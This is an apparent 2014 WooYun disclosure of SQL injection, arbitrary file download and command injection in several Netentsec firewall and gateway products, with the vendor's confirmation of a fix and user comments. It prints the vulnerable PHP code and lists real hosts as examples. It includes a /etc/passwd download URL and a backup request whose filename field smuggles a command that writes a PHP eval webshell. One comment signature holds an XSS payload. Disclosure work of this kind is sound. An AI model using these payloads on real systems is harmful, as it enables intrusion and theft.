当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059383

漏洞标题:网康多个产品通杀漏洞可getshell(网康智能流量管理系统、网康互联网控制网关、网康下一代防火墙等等)

相关厂商:网康科技

漏洞作者: Stay

提交时间:2014-05-04 14:45

修复时间:2014-08-02 14:46

公开时间:2014-08-02 14:46

漏洞类型:设计不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-04: 细节已通知厂商并且等待厂商处理中
2014-05-05: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向核心白帽子及相关领域专家公开
2014-07-09: 细节向普通白帽子公开
2014-07-19: 细节向实习白帽子公开
2014-08-02: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

五一放假无聊,把网康能找到的产品都测试了下,黑盒进去了,利用漏洞看到了代码,还好,至少其他产品的代码比那个应用防火墙好多了,不过还是存在不少问题。
网康多个设备所有版本通用漏洞:
网康智能流量管理系统
网康科技·日志分析中心
网康集中管理平台
网康互联网控制网关
网康下一代防火墙
包括但不限于以上产品(因为部分产品未找到实例测试)

详细说明:

html/applications/user/controllers/LoginController.php

function resetpassAction() {
$this->view->translate = $this->translate;
$this->view->translate_main = $this->translate_main;
Zend_Loader::loadClass('Common_Conf_Config');
$Common_Conf_Config=new Common_Conf_Config('db_conf');
$sub = $this->getRequest()->getParam('sub');
if (isset($sub)) {
$registry = Zend_Registry::getInstance();
$db_conf = $registry->get('db_conf');
$username= $this->getRequest()->getParam('username');
$useremail = $this->getRequest()->getParam('useremail');
if (!$username) {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR1')."'); </script>\n";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
if (!$useremail) {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR2')."'); </script>\n";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*". "@([a-z0-9]+([\.-][a-z0-9]+))*$",$useremail)) {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR3')."');</script>";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
if(($username<>'reset_password_default')and($useremail<>'admin@netentsec.com')) {
$sql = "SELECT * FROM gui_users WHERE username='$username'";
$my = $db_conf->fetchAll($sql);
if(count($my)==0) {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR4')."');</script>";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
elseif (count($my)!= 0 && $my[0]['email'] != $useremail) {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR5')."');</script>\n";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
$smtp_server=$Common_Conf_Config->readConfig('smtp_server','');
if($smtp_server=='') {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR6')."');</script>";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
$smtp_server_port=$Common_Conf_Config->readConfig('smtp_server_port',25);
$smtp_auth_type=$Common_Conf_Config->readConfig('smtp_auth_type','off');
$smtp_user=$Common_Conf_Config->readConfig('smtp_user','');
$smtp_user_password=$Common_Conf_Config->readConfig('smtp_user_password','');
if($smtp_auth_type=='on') {
if($smtp_user=='') {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR7')."');</script>";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
if($smtp_user_password=='') {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_ERROR8')."');</script>";
echo "<script>document.location.href='resetpass';</script>\n";
exit;
}
$auth=1;
}
else {
$auth=0;
}
$smtp_mail_from=$Common_Conf_Config->readConfig('smtp_mail_from',$smtp_user);
$status=mt_rand (10000,32767);
$hash=md5($my[0]['id'].$status.$username);
if((isset($_SERVER["HTTPS"]))and($_SERVER["HTTPS"]=='on')) {
$http_head="https";
}else {
$http_head='http';
}
$http_url=$http_head."://".$_SERVER["SERVER_NAME"]."/user/login/resetpass1?id=".$my[0]['id']."&confirm_hash=".$hash;
$body=$this->translate_main->_('RESET_PASS_EMAIL_BODY1')."\r\n\r\n".$this->translate_main->_('RESET_PASS_EMAIL_BODY5')."\r\n\r\n".$http_url."\r\n\r\n".$this->translate_main->_('RESET_PASS_EMAIL_BODY2').$username."\r\n\r\n".$this->translate_main->_('RESET_PASS_EMAIL_BODY3').$_SERVER["REMOTE_ADDR"]."\r\n\r\n".$this->translate_main->_('RESET_PASS_EMAIL_BODY4');
$from = $smtp_mail_from;
$to = $useremail;
$subject = $this->translate_main->_('RESET_PASS_EMAIL_TITLE');
putenv('subject='.$subject);
putenv('mail_to='.$to);
if($fp=@fopen("/var/www/html/tmp/tmpmail","w")) {
fputs($fp,$body);
fclose($fp);
putenv('content=/var/www/html/tmp/tmpmail');
}
$msg=shell_exec('/var/www/html/scripts/sendmail');
@unlink("/var/www/html/tmp/tmpmail");
if ($msg==0) {
$sql="update gui_users set status=".$status." where username='".($username)."'";
$db_conf->query($sql);
try {
Zend_Loader::loadClass('User_Log_Eventlog');
$Eventlog = new User_Log_Eventlog('db_log');
$Eventlog->LogAdd($username,'get_pass_mail','reset_pass',$_REQUEST,1);
} catch (Exception $e) {
}
echo "<script>alert('".$this->translate_main->_('RESET_PASS_NOTICE1').$useremail.$this->translate_main->_('RESET_PASS_NOTICE2')."');</script>";
echo "<script>document.location.href='/';</script>\n";
exit();
}
else {
echo "<script>alert('".$this->translate_main->_('RESET_PASS_NOTICE3')."');</script>";
echo "<script>document.location.href='resetpass';</script>\n";
exit();
}
}else {
exit;
}
}
else {
$this->view->addScriptPath( BASE_PATH . '/user/views/scripts/login');
$this->render("resetpass");
}
}


username没有过滤造成sql注入
以下产品通杀,但不限于以下系统

网康智能流量管理系统:
https://117.117.107.118/user/login/resetpass
网康科技·日志分析中心:
http://202.192.18.125/login/resetpass
网康集中管理平台
https://60.30.254.218/user/login/resetpass
网康互联网控制网关
https://hbzjw.net.cn/user/login/resetpass
网康下一代防火墙
https://js-lianfa.com/user/login/resetpass

漏洞证明:

B23E4F93-28A3-4AD7-849F-59D3E5449B4F.png


45B9DF9B-9CB0-466D-88CC-03A3FB26A6A6.png


1BF6EE8C-B460-46B1-AE15-E601109E0BD5.png


可注入进后台然后getshell
后台任意文件下载:
https://qujiangyizhong.com/system/backup/down?path=/etc/passwd
getshell:
问题出在备份那里,可执行任意命令

POST /system/backup/backup HTTP/1.1
Host: qujiangyizhong.com
Connection: keep-alive
Content-Length: 24
Origin: https://qujiangyizhong.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
DNT: 1
Referer: https://qujiangyizhong.com/system/backup/index
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie:
data:filename=backup_20140501;echo "<?php eval(\$_POST[cmd]);?>" > /var/www/html/tmp/test.php;


968C3178-CBAD-417C-B9B8-666CEE76426F.png


4AF66F71-6C80-4FC2-8AE2-F6B47B6AD609.png


最新版(3.0)的:

751E58F6-DADB-4969-A50B-A4D6C890DCED.png


FCD70E4C-9BDB-4859-AE7E-F60537D26051.png


其他系统:

5CBA8A42-B4DE-4571-93E1-A91296CA4F32.png

修复方案:

版权声明:转载请注明来源 Stay@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-05 23:31

厂商回复:

非常感谢帮助我们发现了问题。涉及到的漏洞我们已经在通过hotfix修复,在线设备默认情况下可自行完成升级,少数低版本或用户手动关闭自动更新功能的设备需进行手动升级,我们的服务部门将尽快通过多种形式通知用户。

最新状态:

2014-07-14:hotfix已经修复


漏洞评价:

评论

  1. 2014-05-04 14:46 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    又是网康。

  2. 2014-05-04 14:48 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    尼玛...

  3. 2014-05-04 14:55 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    尼玛,掉渣天,路人甲,z7y要给你生孩子!!!

  4. 2014-05-04 14:55 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    网康得怎样感谢乌云才能表达出内心深深的爱呀

  5. 2014-05-04 14:58 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @zzR 这种爱恨交织的情感是十分难以表达的,既纠结,又痛苦

  6. 2014-05-04 14:59 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    言简意赅:尼玛,网康被你们玩烂了。。。

  7. 2014-05-04 15:01 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @xsser @疯狗 @zzR 我猜,这才是真爱,如果恨,说明爱的深

  8. 2014-05-04 15:03 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)

    菊花都被捅烂了

  9. 2014-05-04 15:26 | 小忆 ( 路人 | Rank:24 漏洞数:5 | 跑江湖的,偶尔傻笑一下)

    网康哭的那叫惨啊!

  10. 2014-05-04 16:05 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    这是涉及三个设备?凌乱了

  11. 2014-05-04 16:07 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

      > 下一代防火墙 NGFW  > 上网行为管理 ICG  > Web应用防火墙 WAF  > 智能流量管理 ITM  > 广域网优化网关WOG  > 安全代理服务器 NPS  > 应用安全网关 ASG网康目前的产品线清单...

  12. 2014-05-04 16:11 | Stay ( 路人 | Rank:30 漏洞数:1 | Stay)

    @疯狗 准确的说是涉及5个产品,但不限于5个,因为其他的没找到实例测试

  13. 2014-05-04 16:46 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @Stay 明白了,问题果然不是单独存在的

  14. 2014-05-04 17:05 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    包括但不限于

  15. 2014-05-04 17:08 | Elegance ( 实习白帽子 | Rank:48 漏洞数:3 | 此人很懒,什么话都没留下!)

    大神,网康都快被你们玩哭了

  16. 2014-05-04 20:19 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    又打雷了!!!!

  17. 2014-05-04 21:03 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    网康这么差劲?漏洞那么多?

  18. 2014-05-04 21:17 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    厉害,mark等公开

  19. 2014-05-04 23:49 | 破锁 ( 路人 | Rank:23 漏洞数:6 )

    网康牛b吹大了

  20. 2014-05-05 10:27 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    网康最近好悲剧啊

  21. 2014-05-05 10:31 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    你们这样发别人都不用干了,可以直接那啥了…………关门?

  22. 2014-05-28 19:03 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    @Stay 是post注入把。但是不知道为啥sqlmap说不是注入点

  23. 2014-05-29 16:46 | Stay ( 路人 | Rank:30 漏洞数:1 | Stay)

    @mango 应该是修复了吧

  24. 2014-05-29 21:07 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    @Stay 7.2的版本好像修复了